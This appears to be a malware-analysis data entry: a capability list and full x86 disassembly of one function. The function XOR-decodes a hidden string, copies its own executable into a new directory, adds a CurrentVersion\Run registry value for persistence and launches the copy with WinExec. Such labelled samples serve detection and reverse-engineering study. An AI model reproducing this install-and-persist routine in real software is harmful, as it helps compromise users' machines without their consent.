Function at 0x402c50
Capabilities:
Create directory
Create process on windows
Persist via run registry key
Query environment variable
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x318
mov eax, dword [0x410004]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x103
lea eax, [ebp - 0x107]
push 0
push eax
mov byte [ebp - 0x108], 0
call fcn.004063c0
push 0x103
lea ecx, [ebp - 0x20b]
push 0
push ecx
mov byte [ebp - 0x20c], 0
call fcn.004063c0
push 0x103
lea edx, [ebp - 0x30f]
push 0
push edx
mov byte [ebp - 0x310], 0
call fcn.004063c0
add esp, 0x24
call fcn.004028d0
mov byte [ebp - 0x311], al
xor eax, eax
mov cl, byte [eax + str.5____.x___35:92x59_]
test cl, cl
je 0x402cd9
cmp cl, 0x56
je 0x402cd9
xor cl, 0x56
mov byte [eax + str.5____.x___35:92x59_], cl
mov cl, byte [eax + 0x410f31]
test cl, cl
je 0x402cf1
cmp cl, 0x56
je 0x402cf1
xor cl, 0x56
mov byte [eax + 0x410f31], cl
mov cl, byte [eax + 0x410f32]
test cl, cl
je 0x402d09
cmp cl, 0x56
je 0x402d09
xor cl, 0x56
mov byte [eax + 0x410f32], cl
mov cl, byte [eax + 0x410f33]
test cl, cl
je 0x402d21
cmp cl, 0x56
je 0x402d21
xor cl, 0x56
mov byte [eax + 0x410f33], cl
mov cl, byte [eax + 0x410f34]
test cl, cl
je 0x402d39
cmp cl, 0x56
je 0x402d39
xor cl, 0x56
mov byte [eax + 0x410f34], cl
mov cl, byte [eax + 0x410f35]
test cl, cl
je 0x402d51
cmp cl, 0x56
je 0x402d51
xor cl, 0x56
mov byte [eax + 0x410f35], cl
add eax, 6
cmp eax, 0x834
jl 0x402cc1
push 0x104
lea eax, [ebp - 0x108]
push eax
push 0x41108e
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
test eax, eax
je 0x402ef2
xor eax, eax
mov cl, byte [ebp + eax - 0x108]
mov byte [ebp + eax - 0x310], cl
inc eax
test cl, cl
jne 0x402d80
push edi
lea edi, [ebp - 0x108]
dec edi
jmp 0x402da0
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402da0
mov cx, word [0x40ebc8]
push 0x104
lea edx, [ebp - 0x20c]
push edx
push 0
mov word [edi], cx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x402ef1
mov eax, 0x41102a
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402dd5
lea edi, [ebp - 0x108]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x402de5
push esi
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x20c]
lea eax, [ebp - 0x108]
pop esi
jmp 0x402e10
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x402e30
test dl, dl
je 0x402e2c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x402e30
add eax, 2
add ecx, 2
test dl, dl
jne 0x402e10
xor eax, eax
jmp 0x402e35
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x402ef1
push 0
lea eax, [ebp - 0x310]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x108]
push ecx
lea edx, [ebp - 0x20c]
push edx
call fcn.00402ba0
add esp, 8
cmp byte [ebp - 0x311], 0
je 0x402e7e
lea eax, [ebp - 0x318]
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun_
push 0x80000002
jmp 0x402e8f
lea ecx, [ebp - 0x318]
push ecx
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun_
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea eax, [ebp - 0x108]
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402ea0
sub eax, edx
push eax
mov eax, dword [ebp - 0x318]
lea edx, [ebp - 0x108]
push edx
push 1
push 0
push 0x41105c
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0x318]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [0x4110d0], 0
jne 0x402eec
push 0
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
call fcn.00403080
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403107
mov esp, ebp
pop ebp
ret